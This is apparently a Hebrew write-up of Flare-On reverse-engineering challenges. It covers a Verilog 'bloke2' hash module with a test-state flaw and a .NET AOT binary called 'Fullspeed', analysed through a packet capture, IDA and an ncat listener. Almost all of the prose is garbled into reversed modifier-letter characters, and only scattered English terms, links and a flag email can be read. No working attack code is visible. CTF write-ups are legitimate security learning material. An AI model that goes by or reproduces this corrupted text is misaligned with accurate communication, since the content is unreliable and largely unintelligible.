˟˧˩˶ˢ blokeн ˷ˬ˸˷ˬ ˫˧˟˧˩˶˟ f_unit xπdata_mgr Φ˟˧˩˶ˢ ˪˟˵ˬ ˦˪˵˩ ˠˣˤ ˫˧˩˶˰ start, finish Σ˨˶˰ˣ clk 

˶˟ˣ˥ˬ˷ ˭ˣ˰˷˪ Σ˶˟˰ˣˬ˷ ˫˧˟˧˩˶˪ f_unit xπdata_mgr Φ˱˯ˣˮ˟ ˨˩˪ Σ˟˧˩˶ ˢˤ ˪˧˩ˬ ˢˮ˸˷ˬ ˫˷˟ state ˪ˣ˩˧˷ 

˪˧˩ˢ˪ ˡ˥˞ ˭˧˟ˬ ˫˧˰ˣ˟˵ˢ ˫˧˞˟ˢΥ 

 

  

https://www.linkedin.com/in/elikaski/
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˟˧˩˶ ˢˤ ˪˧˩ˬ ˭˧˰ˬ ˸ˮˣ˩ˬ ˫˧˟˴ˬ ˢˮ˦˵ Σˢ˴˶˷ ˪˩˟ ˶ˣˤ˥ˬ ˭ˣ˰˷ ˢ˧ˣ˪˸ˣ ˫˧˦˪˵˟ start, finishΥ 

 

ˢ˞˶ˮ ˤˬ˶ˮ˷ ˣˮ˪ ˢ˶˦ˬˢ˷ ˶ˠ˸˞˟ ˢˤ ˞˧ˢ ˫ˣ˶ˠ˪ ˟˧˩˶˪ blokeн ˰˧ˠˢ˪ ˪πstate ˪˷ STATE_TEST Φ˪˰ ˣ˧ˮ˲ 

ˢ˞˶ˮ ˶˟ˡˢ˷ ˢˤˢ ˞˪ ˧˶˷˲˞ Σ˧˩ ˧ˡ˩ ˰˧ˠˢ˪ ˟˴ˬ˪ STATE_TEST ˨˧˶˴ ˫˧˧˵˸˧˷ start=finish=1 Σ˧ˡ˩ ˶ˣ˟˰˪ 

˸˞ ˸ˣ˶ˣ˷ ммн xπммп Φ˨˞ x˟ ˸˧ˮˬˤ ˨˧˶˴ ˫˧˧˵˸˧˷ state=STATE_FINISH ˧ˡ˩ ˰˧ˠˢ˪ ˢ˶ˣ˷˪ ммн Σ˪˧˟˷˟ˣ 

ˢˤ˷ ˫˧˧˵˸˧ ˨˧˶˴ ˫˧˧˵˸˧˷ start=0 ˧ˡ˩ ˰˧ˠˢ˪ ˢ˶ˣ˷˪ мло Φ˞˫ ˨˧˶˴ ˣ˟˷ ˸˧ˮˬˤ ˫˧˧˵˸˧ start=1 xπstart=0 Σ

˨˧˞ ˭˸˧ˮ ˰˧ˠˢ˪ ˟˴ˬ˪ ˢˤΚ 

ˢ˟ˣ˷˸ˢ ˨˩˪ ˢ˶ˣ˷˵ ˭˲ˣ˞˟ ˷πverilog ˸ˡ˟ˣ˰ Φˡˣ˵ˢ ˣˮ˥ˮ˞˷ ˫˧˞ˣ˶ ˳˶ ˨˪ˢˬ˟ ˶ˣˤ˥ˬ ˭ˣ˰˷ˢ ˧˥˩ˣˮˢ Σ˨˞ ˪˩ 

˫˧ˮ˸˷ˬˢ ˫˧ˮ˩ˡ˰˸ˬ ˪˰ˣ˲˟ ˶ˣˤ˥ˬ˟ ˭ˣ˰˷ˢ ˞˟ˢ Φ˧ˡ˩ ˰˧ˠˢ˪ ˪πSTATE_TEST Σˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˶ˣˤ˥ˬ˟˷ 

˭ˣ˰˷ˢ ˩ˣˮˢ˧˥ ˫˧˧˵˸˧ start=0,finish=1 ˧ˡ˩ ˰˧ˠˮ˷ ˢ˶ˣ˷˪ мло Φ˶˟ˡˢ ˫ˣ˶ˠ˧ ˨˩˪ ˶ˣˤ˥ˬ˟˷ ˭ˣ˰˷ˢ ˞˟ˢ 

ˢ˧ˢˮ ˟πstate ˪˷ STATE_FINISH Σˣ˟ˣ ˣˮ˥ˮ˞ˣ ˫˧˩˧˶˴ ˫˧˧˵˸˧˷ start=finish=1 Σ˧ˡ˩ ˰˧ˠˮ˷ ˢ˶ˣ˷˪ ммр Σˢˬ 

˫ˣ˶ˠ˧˷ ˨˩˪ ˶ˣˤ˥ˬ˟˷ ˭ˣ˰˷ˢ ˣ˧˶˥˞˷ ˰˧ˠˮ ˪πstate ˪˷ STATE_TESTΦ 

˦˪˥ˢ˟ ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ ˢˤ Σ˭˩˞ˣ ˰˧ˠˢ˪ ˪πstate ˪˷ STATE_TEST Σ˨˞ ˫˧˪˩˸˯ˬ˷˩ ˵ˬˣ˰˪ ˪˰ ˢˮ˸˷ˬˢ 

state ˫˧˞ˣ˶ ˞ˣˢ˷ ˪˪˩ ˞˪ ˶˟˰ˣˬ ˫˧˟˧˩˶˪ ˫˧˶˥˞ˢ Σ˫˴˰˟ˣ ˭˧˞ x˪ ˢ˰˲˷ˢ ˸˧˷ˬˬ ˪˰ ˭˲ˣ˞ ˢ˪ˣ˰˲ˢ ˪˷ 

bloke2 Φ˸ˣ˶ˬ˪ ˸˞ˤ Σ˸ˣˮ˥˟˞ˢ ˣˮ˪˷ ˪˰ ˫˧˦˪˵ˢ start xπfinish ˸ˣˮ˸ˣˮ ˣˮ˪ ˭ˣˣ˧˩ ˟ˣ˷˥ ˧˦ˮˣˣ˪˶˷ ˭ˣ˶˸˲˪ 

ˠ˸˞ˢΦ˶ 
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˶ˣˬ˞˩ Σ˧ˮ˷ ˫˧˩˶˰ˢ ˣ˪˞ˢ ˭ˣ˰˷ˢˣ ˫˧˶˟˰ˣˬ ˟˧˩˶˪ data_mgr ˷˧ˣ x˟ ˶˲˯ˬ ˸ˣ˶ˣ˷ ˸ˣˮ˧˧ˮ˰ˬΥ 

 

 

ˢ˞˶ˮ ˫˧˞ˮ˸˟˷ ˫˧ˬ˧ˣ˯ˬ Σˢ˞˶ˮ˩ˣ ˶ˣˤ˥ˬ˟ ˭ˣ˰˷ ˫˧ˣ˯ˬ Σ˫˧˰˴˟ˬ xor ˦˪˵˪ ˫˰ ˣˢ˷ˤ˧˞ ˰ˣ˟˵ Φ˧˞ˮ˸ˢ ˨˩˪ 

˞ˣˢ ˫˧˧˵˸ˬ˷ tst=1 Φ˫˧˲˧˯ˣˬ˷˩ ˸ˣ˯˲ˡˢ ˪˷ ˨˶˰ ˢˤ ˫˧˪ˠˬ ˢˤ˷ ˱˞ ˫˰˲ ˞˪ ˢ˶ˣ˵ Σ˩˪ˣ ˭ˢ˶˦ˬˢ ˣˮ˪˷ 

˞˧ˢ ˫ˣ˶ˠ˪ ˨˩˪ ˸ˣ˶˵˪ Φ˭˸˧ˮ ˸ˣ˞˶˪ ˢˮ˸˷ˬˢ˷ tst ˪˟˵ˬ ˸˞ ˨˶˰ˢ ˪˷ ˦˪˵ˢ finish ˫˧˞ˮ˸˟ ˫˧ˬ˧ˣ˯ˬ: 

 

˭ˬˤ˟ ˧˸˶˸˲˷ ˸˞ ˶ˠ˸˞ˢ Σ˧˸˟˷˥ ˶˟ˡˢ˷ ˢˤˢ ˨˧˶˴ ˸ˣ˶˵˪ ˶ˣˤ˥ˬ˟ ˭ˣ˰˷ ˧˲˧˴˲˯ Φ˶ˬˣ˪˩ Σ˨˧˶˴˷ ˳˧˶ˢ˪ 

˸˞ ˟˧˩˶ˢ Ϧ˪˧ˠ˶˩ Ϧˡ˰ ˶ˣˤ˥ˬ˪ ˭ˣ˰˷ ˫˧ˣ˯ˬ Σ˶ˣ˴˰˪ ˸˞ ˭ˣ˰˷ˢ Σ˸ˣˮ˷˪ ˸˞ s˨˶˰ ˪˷ finish ˪πм Σ˳˧˶ˢ˪ 

˶ˣˤ˥ˬ ˭ˣ˰˷ ˡ˥˞ Σ˶˧ˤ˥ˢ˪ ˢ˶ˤ˥˟ ˸˞ ˨˶˰ˢ ˪˷ finish ˪πл Σ˶˧ˤ˥ˢ˪ ˸˞ ˭ˣ˰˷ˢ ˨˧˷ˬˢ˪ˣ ˳ˣ˶˪ ˪˧ˠ˶˩ Φ˪˰ ˧ˡ˧ 

˸˲˯ˣˢ ˸ˣ˯˲ˡˢ ˧˸˧˪˧ˠ ˵ˣ˧ˡ˟ ˢˤ˧˞˟ ˶ˣˤ˥ˬ ˭ˣ˰˷ ˫˧˰˴˟ˬ ˸˞ ˢˬ˷ˢˢ ˪˷ tst=finish Σ˧˸˵˪ˡˢˣ ˸˞ ˨˶˰ˢ 

˪˷ finish ˣ˸ˣ˞˟ ˶ˣˤ˥ˬ ˭ˣ˰˷ˢ ˡ˟˪˟ Φˡ˟˰˧ˡ˟ ˸˧˪˧ˠ ˧˫˧˵˥˷ˬˢ˷ ˢ˪˞ˢ ˫˰ ˭ˣ˰˷ˢ ˫˧˶˸ˣ˧ˬ Σ˵˧˲˯ˬˣ 

˸ˣˮ˷˪ ˸˞ ˨˶˰ˢ ˪˷ finish ˪πм ˸˪˧˥˸˟ ˢ˴˶ˢˢ ΣˣˢˤˣΦ 
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˵ˣ˪˟ˢ ˪˧˥˸ˬ˷ ˢ˶ˣ˷˟ пп ˰˴˟˸ˬ ˪˩˟ ˶ˣˤ˥ˬ ˭ˣ˰˷ Σ˭˸˧ˮˣ ˸ˣ˞˶˪ ˣ˸ˣ˞˟˷˩˷ ˶ˣˤ˥ˬ ˭ˣ˰˷ˢ ˫˧˧˵˸ˬ ˫ˠ 

finish=1 ˫ˠˣ ύrst=1 x˞ start=1 Σόˤ˞ ˟˸˩˧ м ˪πtst Σ˵˧˲˯ˬˣ ˢˤ˷ ˢ˶˵˧ ˶ˣˤ˥ˬ˟ ˭ˣ˰˷ ˥˞ lˣˢ˷˪˩ Σ˧˩ ˨˶˰ˢ 

tst ˞˪ ˯˶ˡˮ ˟ˣ˷ ˫ˣ˷˟ ˫ˣ˵ˬ ˶˥˞Φ 

˳˟ˣ˵˟ bloke2b_tb.v ˫˧˦˪ˣ˷ ˧˩˶˰˟ ˫˧˦˪˵ˢ start, finish ˢ˧˴˵ˮˣ˲˟ ˫˷˟ hash_message ˸˷ˬ˸˷ˬ˷ 

˟˧˩˶˟ bloke2b Σ˞˧ˢˣ ˸˞˶˵ˮ ˷ˣ˪˷ ˫˧ˬ˰˲ ˫˰ ˢ˷ˣ˪˷ ˫˧˦˪˵ ˫˧ˮˣ˷ Φˢ˧˴˵ˮˣ˲ˢ ˢ˶˧˟˰ˬ ˸˞ sπmessage 

˫˧˷ˣ˰˷ x˪ hash ˪˞ ˟˧˩˶ˢ bloke2b Σˤ˞ˣ ˢ˩˥ˬ ˭ˬˤ˟ ˭ˣ˰˷ˢ˷ ˳˶ ˡ˰ ˷πbloke2b ˫˧˧˯ˬ ˸˞ ˢ˪ˣ˰˲ˢ ˣ˪˷ Φ

˱ˣ˯˟˪ ˸˯˲ˡˣˬ ˸˞˴ˣ˸ sπhash Φ˭˪ˢ˪ ˸˪˧˥˸ ˢ˧˴˵ˮˣ˲ˢ Σˢ˟˷ ˫˧˪˥˸˞ˬ ˸˞ ˟˧˩˶ˢ bloke2bΥ 

 

˶ˣˬ˞˩ Σˣˮ˧˞˶ ˵˧˲˯ˬ˷ ˫˧˧˵˸˧˷ finish=1 x˟ ˸˧ˮˬˤ ˫˰ rst=1 x˞ start=1 ˨˷ˬ˪ ˶ˣˤ˥ˬ ˭ˣ˰˷ ˡ˥˞ ˡ˟˪˟ Φ

˸ˣ˶ˣ˷˟ тн-то Σ˨˪ˢˬ˟ ˪ˣ˥˸˞ ˟˧˩˶ˢ ˫˧˰˟ˣ˵ ˨˷ˬ˪ ˶ˣˤ˥ˬ ˭ˣ˰˷ ˡ˥˞ ˸˞ ˫˧˦˪˵ˢ start=1 xπfinish=0 Φ˫˞ 

ˢˮ˷ˮ ˸˞ ˢ˶ˣ˷ то ˨˩ ˰˟˵˸˷ ˸˞ finish ˪πм Σˤ˞ ˟˸˩˧ ˨˶˰ˢ м ˢˮ˸˷ˬ˪ tst ˟˧˩˶˟ data_mgr ˧˲˩ ˣˮ˧˞˶˷ 

˫ˡˣ˵ Σ˨˶˰ˣ ˢˤ ˶ˬ˷˧ ˣˮ˪ ˨˪ˢˬ˟ ˪˩ ˸˴˧˶ ˟˧˩˶ˢ Φ˭˸˧ˮ ˫ˠ ˞ˡˣˣ˪ ˸˞ˤ ˫˰ ˸ˣ˯˲ˡˢΦ 

˫˧ˮ˷ˬ˷˩ ˸˞ ˢ˶ˣ˷ то ˰ˣ˟˵˪ ˸˞ ˦˪˵ˢ finish=1Υ 
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˫˧˴˧˶ˬˣ ˸˞ ˳˟ˣ˵ sπtestbench Σ˫˧˪˟˵ˬ ˸˞ ˪ˠˡˢ ˸˥˞˟ ˸˷ˣ˪˷ˬ ˸ˣ˞˧˶˵ˢ ˢ˧˴˵ˮˣ˲˪ hash_message 

ύ˸˧˲˧˴˲˯ ˶ˣ˟˰ ˦˪˵ˢ ϦabcΥόϦ 

 

˪ˠˡˢ ˞ˣˢΥ 

please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com 

 

˶ˠ˸˞ˢ ˧˰˧˟˷ˢ π Fullspeed 

˟ˣ˷˥ ˧˪ ˷˧ˠˡˢ˪ Σˠ˸˞ˢ ˶ˢˤˢ ˨ˣ˶˞ Σˢ˷˵ ˷˧˸ˬˣ Φ˧ˮ˞ ˞˪ ˶ˣ˟˰˞ ˣ˧˪˰ ˡ˰˴ ˡ˰˴ ˢ˟˶ˢˣ ˫˧ˬ˰˲ ˧ˮ˞ ˥˧ˮˬ 

ˢˮ˟ˢ ˰ˡ˧ˣ ˫ˡˣ˵ Φ˫˞ ˞˪ ˣ˯ˮ˸ ˶ˣ˸˲˪ ˸˞ ˶ˠ˸˞ˢ ˫˩ˬ˴˰˟ Φˢ˧ˢ˧ ˫˩˪ ˢ˷˵ ˟ˣ˵˰˪Φ ˶ˠ˸˞˟ ˢˤˢ ˶ˬ˞ˮ ˣˮ˪ 

˪˟˵ˮ˷ ˳˟ˣ˵ ˢ˴˶ˢ ˠˣ˯ˬ .NET ˪˰ˣ˲˟ ˪˟˵ˮ ˧ˮ˷ ˫˧˴˟˵ ˡ˥˞ˢ ˳˟ˣ˵ PE Native ˞˪ˣ .NET ˧˯˞˪˵ ύx˞ ˸ˣ˥˲˪ 

˞˪ ˲ˮ˥˸ ˫˰ ˫˧˶˪˧˧˲ˬˣ˵˧ˡ ˪˷ .NET ό˧ˮ˷ˢˣ ˳˟ˣ˵ pcapng ˫˰ ˢ˶ˣ˟˰˸ ˸ˮ˲˴ˣˬ Φˣ˵ ˢ˟˷˥ˬˢ ˢ˥ˮˢ˷ ˧˸ˣ˞ 

˞ˣˢ ˳˟ˣ˵ˢ˷ ˭˲˴ˣˬˢ ˢ˞˶ˮ˩ ˪˧˩ˬ ˸˞ ˪ˠˡˢ ˣˮ˥ˮ˞ˣ ˫˧˩˧˶˴ ˭˧˟ˢ˪ ˸˞ ˢˮ˲˴ˢˢ ˧˶˞ˮ˧˟ˢˬ ˥ˮ˰˲˪ˣ ˢ˸ˣ˞ Φ 

˪˟˞ ˰ˠ˶ Σˢˬ˪ ˶ˬ˞ˮ ˣˮ˪ ˳˟ˣ˵˷ ˢ˴˶ˢˢ ˞ˣˢ ˳˟ˣ˵ .NET Κ˧˶ˢ ˫˞ ˥˸˲ˮ ˣ˸ˣ˞ ˟πIDA ˢ˞˶ˮ ˞ˣˢ˷ ˢˢˣˤˬ ˩π

Native ˞˪ˣ ˩π.NET Φˢ˟ˣ˷˸ˢ ˢ˰˧˸˲ˢ ˧˸ˣ˞ Σ˶˶˟˸ˬ ˷˧˷ ˢ˧˴˲ˣ˞ ˢ˷ˡ˥ ˸ˣ˞˯˶ˠ˟ sπSDK ˸ˣˮˣ˶˥˞ˢ ˪˷ 

NET. ˞˧ˢˣ ˸˞˶˵ˮ Ahead of Time Compiling x˞ AOT ˶ˣ˴˧˵˟ Φˣ˞˧ˢ ˸˶˷˲˞ˬ ˡˣ˵˪ ˸ˣ˧ˢ˪ ˪˲ˬˣ˵ˬ ˸ˣ˶˧˷˧ 

˧˪˟ˬ˯˞˪ ˧˪˟ˬ ˸ˣ˧ˢ˪ ˪˲ˬˣ˵ˬ ˪πMSIL ˶˥˞˷ ˨˩ ˨˧˶˴ ˸ˣ˧ˢ˪ ˷˶ˣ˲ˬ ˪πCLR ˱ˣ˯˟˪ˣ ˪˲ˬˣ˵ˬ Just-In-Time 

˧˪˟ˬ˯˞˪ Φ˷˧ ˢˤ˪ ˭˟ˣˬ˩ ˸ˣˮˣ˶˸˧ ˫˧˟˶ ˣˬ˩ ˫˧˶˞ˮ˧˟ ˫˧˶˧ˢˬ ˶˸ˣ˧ Σ˫˧˶˞ˮ˧˟ ˫˧ˮ˦˵ ˶˸ˣ˧ ˪˟˞ ˭ˣ˶˸˧ˢ ˟˞ˣ˩ˢ 

ˣˮ˪ π ˸˩˧˲ˢ ˨˧˪ˢ˸ ˢ˯ˡˮˢˢ ˶ˣ˥˞˪ ˪˷ ˫˧˶˞ˮ˧˟ˢ ˸˧˸ˣ˰ˬ˷ˬ˪ ˢ˷˵ ˶˸ˣ˧ Σ˶˵˧˰˟ ˧˩ ˭˧˞ ˫˧˪ˣ˟ˬ˧˯Φ 

˧ˮ˲˪ ˧˸˥˸˲˷ ˸˞ ˳˟ˣ˵ˢ ˟πIDA ˸˶ˤ˰˟ API Monitor Σ˧˸˧˞˶ ˷˧˷ ˢ˞˧˶˵ ˢ˧˧˶˲˯˪ ˫˷˟ 

BouncyCastle.Cryptography ύˢˤˣ ˧ˮˣ˧ˠˢ ˧˩ ˧˲˩ ˧˸˶ˬ˞˷ ˢ˶ˣ˟˰˸ˢ ˟πpcapng ˣˮ˪˟˧˵˷ ˸˧˞˶ˮ ˸ˮ˲˴ˣˬ Φό

˧˸˶˩ˤ ˸˞ ˢˤ ˨˷ˬˢ˪ Σˡˣ˰ ˷ˬ˸˷˞ ˸˯˧˲˟ ˬˢ˰ˡ˧ ˸˞ˤˢΦ 

  

https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?tabs=windows%2Cnet8
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˧˶˞ˮ˧˟ˢ ˢ˞˶ˮ ˞˶ˣˮ ˧˪˟ symbols Σπsmain ˣˮ˪˷ ˢ˞˶ˮ ˢ˩˩Υ 

 

ˢ˪ˣ˰˲ˢˣ ˸˞˶˵ˮ˷ ˣ˲ˣ˯˟ ˸˧˞˶ˮ ˨˩: ˡ˟˰˧ˡ˟ ˶˶˟˸ˢ ˧˪ ˢˤ˷ sπmain ˢˬπC# Σ˪˟˞ ˧ˮ˞ ˫˧ˡ˵ˬ ˸˞ ˶˥ˣ˞ˬˢΥ 
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˞˪ ˪˩ ˨˩ ˧˸˰ˡ˧ ˢ˲˧˞ˬ ˪˧˥˸ˢ˪ ˸˧˦˦˯ Σˤ˞ ˦ˣ˷˲ ˧˸˦˪˥ˢ ˠ˟ˡ˪ ˧˸˧˷˰ˣ step over ˪˰ ˪˩ ˸ˣ˞˧˶˵ˢ 

˸ˣ˪ˣ˰˲˪ Φ˸ˮ˧˸˰˵ ˫˰ ˶ˠ˞˟˧ˡˢ ˪˰ ˢ˪ˣ˰˲ˢ ˸˧˞˶˵ˮ˷ ˢˮˣˬ˸˟ π sub_140108AC0 ˢˬ˩˪ ˸ˣ˧ˮ˷ ˸ˣ˩ˣ˶˞ 

ˡ˧ˬˣ ˢ˧˶˥˞ ˰˧˲ˣˢ ˧˪ ˦˪˲ˢ err ˪ˮ˧ˬ˶˦˟ Φ˭˩˪ ˧˸˸ˮ ˢ˪ˣ˰˲˪ ˸˞ ˫˷ˢ func1 ˧˸˵ˬ˰˸ˢˣ ˢ˟ Σˢ˷˰ˬ˪ 

˧˸˶ˤ˥ ˪˰ ˭˸ˣ˞ ˸ˣ˪ˣ˰˲ ˧˸˧˷˰˷ ˭˞˩ Φ 

˧˸˧˷˰ step over ˡ˰ ˶ˠ˞˟˧ˡˢ˷ ˧˪˷ ˦˞ˢ ύ˨˷ˬˢ˟ˣ ˫ˠ ˯˶˵ ˦ˣ˷˲ˣ ˧˯˲ˢ ˵˸˞ ˨˧˪ˢ˸ˢ ό˧˸˸ˮˣ ˸ˣˬ˷ 

˸ˣ˪ˣ˰˲˪ ˣ˰˵˸ˮ˷ ˦ˬ˶ˣ˲˟ ˪˷ func ˶˲˯ˬˣ ˧˶ˣˡ˧˯ ˢ˪ˣ˰˲ˢ˷˩ ˢˮˣ˷˞˶ˢ ˞˧ˢ func1 ˢˮˣ˶˥˞ˢˣ ˢˮ˧˧ˮ˰˷ 

˧˸ˣ˞ ˞˧ˢ func6 ˢ˸˪˥˸ˢ˷ ˸˧˞˶ˮ ˨˩Υ 

 

˧˸ˮ˟ˢ ˸ˣ˧˦˧˞ˢ˷ ˸˰˟ˣˮ ˭ˣ˧˯˧ˮˬ ˪˷ˣ˩ ˶˟˥˸ˢ˪ ˣˢ˷ˮ˞˪ Σ˧ˡ˩ ˞ˣ˴ˬ˪ ˭˞˪ ˢˤ ˢ˯ˮˬ ˶˟˥˸ˢ˪ ˧˸ˠ˟˧ˡ ˧˸˧˞˶ˣ  

ˣˢ˷ˬ ˶ˤˣˬ π ˮ˸˷ˬˢ s˧ˮ˷ˢ Σˢˤ ˵˧ˤ˥ˬ˷ ˸˞ ˸˟ˣ˸˩ˢ ˪-sockaddr ˢ˯ˮˬ ˶˟˥˸ˢ˪ ˸˟ˣ˸˩˪ sπIPv6Υ 

0000:0000:0000:0000:0000:0000:0000:0000  
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˦˶ˣ˲˟ омоот ˢˤ˷ ˪ˣ˵˷ˢ ˸˟ˣ˸˩˪ лΦлΦлΦлΥомоот Φˢˬ˪ ˧ˮ˞ ˶ˬˣ˞ ˢˤ˷ ˶ˤˣˬ Σ˧˩ ˧˸˪˩˸˯ˢ˷˩ ˳˟ˣ˵˟ pcap 

ˢ˞˶ˢ ˣˢ˷ˬ ˢˮˣ˷Υ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˶ˣ˟˧˥ˢ ˰˴˟˸ˬ ˭˧˟ ˧˸˷ ˣ˸˩˸ˣ˟ ˸ˣ˧ˬˣ˵ˬ ˠˣ˯ˬ IPv4 ˞˪ˣ IPv6 Σˢˬ ˭˩˷ Σ˸˥˞ ˭ˢˬ 

˸˷ˬ˸˷ˬ ˦˶ˣ˲˟ омоот Φ˶˟ˡˢ ˞˟ˢ ˧˸˦˪˥ˢ˷ ˸ˣ˷˰˪ ˞ˣˢ ˫ˣ˶ˠ˪ ˢˮˣ˩ˬ˪ ˸˸˪ ˧˪ ˸˞ ˸˟ˣ˸˩ˢ 

мфнΦмсуΦрсΦмло ˸˶ˤ˰˟ sπVirtual Network Editor ˪˷ VMware Φˡ˧ˬ ˶˥˞ ˨˩ ˧˸ˡ˶ˣˢ ncat ˧˸˥˸˲ˣ 

˦˶ˣ˲ омоот ˧˸˴˶ˢˣ ˸˞ ˧˶˞ˮ˧˟ˢ Φ˨˩ ˢˤ ˢ˞˶ˮΥ 

 

˫˧ˢˡˬ Ηˢ˞˶ˮ ˣˢ˷˩˧˞˷ ˣˮ˶˟˰ ˸˞ ˵˪˥ˢ ˪˷ ˸ˣ˶˟˥˸ˢˢ ˰˵˸˷ ˣˮ˸ˣ˞ Φ˟ˠ˞ Σ˧˸˵ˡ˟ ˸˧˶˧˲ˬ˞ ˢ˞˶ˮˣ ˪˩˷ 

IP ˶˥˞ ˢ˧ˢ ˶˧ˤ˥ˬ ˢ˞˧ˠ˷Φ 

˵˪˥˟ ˢˤˢ ˧˸˰˵˸ˮ ˭ˬˤ ˨˷ˣˬˬ Σ˧˸˧˯˧ˮ ˭˧˟ˢ˪ ˸ˣ˥˲˪ ˡ˥˞ ˧ˮ˷ˬ ˫˧˶˟ˡ: 

¶ ˢˬ ˢˤ ˪˟ˤˢ ˢˤˢ ˢˤ˷ ˥˪ˣ˷ ˣˮ˪Κ 

¶ ˢˬ ˢˤ ˢ˲˴ˬ ˪˟˵˪ ˢ˶ˤ˥˟Κ 

˭ˬˤ˟ ˧˸˰˵˸ˮ˷ ˧˸ˡˬ˪ ˞˪ ˦˰ˬ ˪˰ ˮˢˢ˯ˡ ˶ˣ˥˞˪ ˪˷ ˫˧˶˞ˮ˧˟ ˠˣ˯ˢˬ ˢˤˢ Φ˸˧˲˧˴˲˯ ˧˸˞˶˵ ˸˞ ˨˧˶ˡˬˢ 

ˢˤˢ  ˢˤˢˣ Φ˫ˢˬ ˧˸ˡˬ˪ ˢˬ˩ ˫˧˶˟ˡ ˫˧ˮ˧˧ˮ˰ˬ Φ˫˧˟ˣ˷˥ˢ ˫ˢ˟˷ ˢˤ ˶ˬ˷ˮ˷ Metadata ˧˷ˣˬ˧˷ ˡ˥ˣ˧ˬ˟ 

˨˶ˣ˴˪ ˸˯˲ˡˢ Stack Trace ˫ˠˣ ˶˷˲˞˷ ˫ˣ˶ˠ˪ ˢˤ˪ ˯˧˲ˡˢ˪ Stack Trace ˢ˶˵ˬ˟ ˪˷ ˢ˯˧˶˵ ˸˧ˬˣ˞˸˲ 

˧˪ˣ˞ˣ ˧˩ˢ ˟ˣ˷˥ π ˶˷˲˞ ˠ˧˷ˢ˪ Debug Symbols Σ˸ˬ˞ˢ ˸˞˷ ˢˤ ˶˟˩ ˧˸˰ˡ˧ ˪˟˞ ˧˸˦˪˥ˢ ˢˤ˷ ˦˰ˬ 

˫ˡ˵ˣˬ ˧ˡˬ ˪˸ˣ˷˰ ˸˞ ˢˤΦ 

˷ˣˬ˥ ˫˰ ˰ˡ˧ˢ ˢˤˢ ˧˸˶ˤ˥ ˠ˟ˡ˪ Σ˭ˬ ˫˸˯ˢ ˫˰˲ˢ ˢˤ ˢ˩˥ˬ ˦˪˵˪ ˣˮ˸˧˞ˬ Σˤ˞ ˢˤ ˞˪ ˸ˬ˞˟ ˰˵˸ˮ Σ˪˟˞ 

˶˷˲˞ ˷ˬ˸˷ˢ˪ ˢ˸ˣ˞˟ ˢ˵˧ˮ˩˦ ˧˸˷ˬ˸˷ˢ˷ ˢ˟ ˫ˡˣ˵ˬ ˟ˣ˵˰˪ˣ ˧˶˥˞ ˢˤ Φˢˬ˪ ˞˪ hardware 

breakpoints Κ˸ˬ˞ˢ ˢˤ˷ ˢˬ ˧˸˧˷˰˷ ˶ˣ˵ˬ˟ ˸ˣ˥˲ˣ ˧˸˟ˢ˞ ˢ˶˵ˬ˟ ˧˲˧˴˲˯ˢ ˢˤˢΦ 

 

 

https://migeel.sk/blog/2023/09/15/reverse-engineering-natively-compiled-dotnet-apps/
https://migeel.sk/blog/2023/09/15/reverse-engineering-natively-compiled-dotnet-apps/
https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/
https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/
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˨˩ ˸˧˞˶ˮ ˲ˢˢ˧˴˵ˮˣ ˸˞˶ˣ˵˷ ˸˞ ˦˪˵ˢ ˣˮ˪˷Υ 

 

˫˞ ˠ˟ˡˮ ˢ˞˶ˮ ˞˧ˢ˷ ˢ˲˴ˬ ˦ˣ˪˵˪ ол0x ˫˧˸˟ Σ˫˧˧ˬ˰˲Φ ˭˧ˤˮ ол0x ˫˧ˣˣ˸ ˪˷ A ˥˪˷ˮˣ ˤ˞ˣ ˟ˣ˷ Σпу ˫˧ˣˣ˸ 

˪˷ A ˢ˪ˠˮˣ ˣˮ˥ˮ˞˷ ˫˧˯˶ˣ˵ Φˠ˟ˡˮ ˢ˯ˮˮˣ ˭˧˟ˢ˪ ˢˬ˪ Υ 

 

ˢ˦˧˪˵ˢ ˣˮ˪˷ ˸˞˶˵ˮ ˢ˶ˣ˷˟ ˪˷ ˢˬ˷ˢˢ ˪πнмv ύˢ˶ˣ˷ˢ ˢˮˣ˷˞˶ˢ όˢ˯˧˶˵ˢˣ ˣˮ˪˷ ˸˧˶ˣ˵ ˢ˞˧˶˵˟ 

ˢˢ˶ˤˣˬ ˸˰˴˟˸ˬ˷ ˸˶ˣ˷˟ ˢˬ˷ˢˢ ˪πноv ύˢ˶ˣ˷ˢ ˢˮˣ˶˥˞ˢ Φό˟ˣ˵˰ˮ ˧˶˥˞ ˢ˪ˣ˰˲ˢ ˢ˯˧˶˵ˬˢΥ 
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˞˧ˢ ˸˞˶ˣ˵ ˢ˪ˣ˰˲˪ ˢ˪˥˸ˢ˟ ˤ˞ˣ x˞ ˞˧ˢ˷ ˢ˶˧ˤ˥ˬ ˸˞ ˨˶˰ˢ ˶ˤ˥ˣˢ˷ x˞ ˧˞ˮ˸˟˷ ˫˧ˣ˯ˬ ˞˧ˢ ˸˞˴ˣ˧ π 

ˢ˪ˣ˰˲ˢ ˸˧˷˧˪˷ˢ ˸˞˶˵ˮˢ ˧˞ˮ˸˟ ˞˧ˢ ˢ˷˰ˬ˪ ˢ˞˧˴˧ Φˢ˞˶ˮ ˣˬ˩ ˸˵˧ˡ˟ ˸ˣˮ˧˵˸ Σˢˤ ˶˧˩ˤˢ ˧˪ ˣˢ˷ˬ 

˩˧˶ˡˬˢˬ˫˧ ˧˸˞˶˵˷ π ˫˧˟˧˧˥˷ ˸ˣ˧ˢ˪ ˫˧˰ˣ˟˵ ˪˷ ˸ˣ˰ˡˣˢ ˢ˞˧ˠ˷ ˭ˬˤ˟ ˢ˴˧˶ˢ ˤ˞ ˧˸˷˲˧˥ ˸˰ˡˣˢ ˢ˞˧ˠ˷ 

˭˧˟ˬ ˫˧˰ˣ˟˵ˢ ˧˪ˣˬˬ ˧˸˞˴ˬˣ ˸˞ ˰ˣ˟˵ˢ ˭˧˧ˮ˰ˬˢ ˞˟ˢΥ 

 

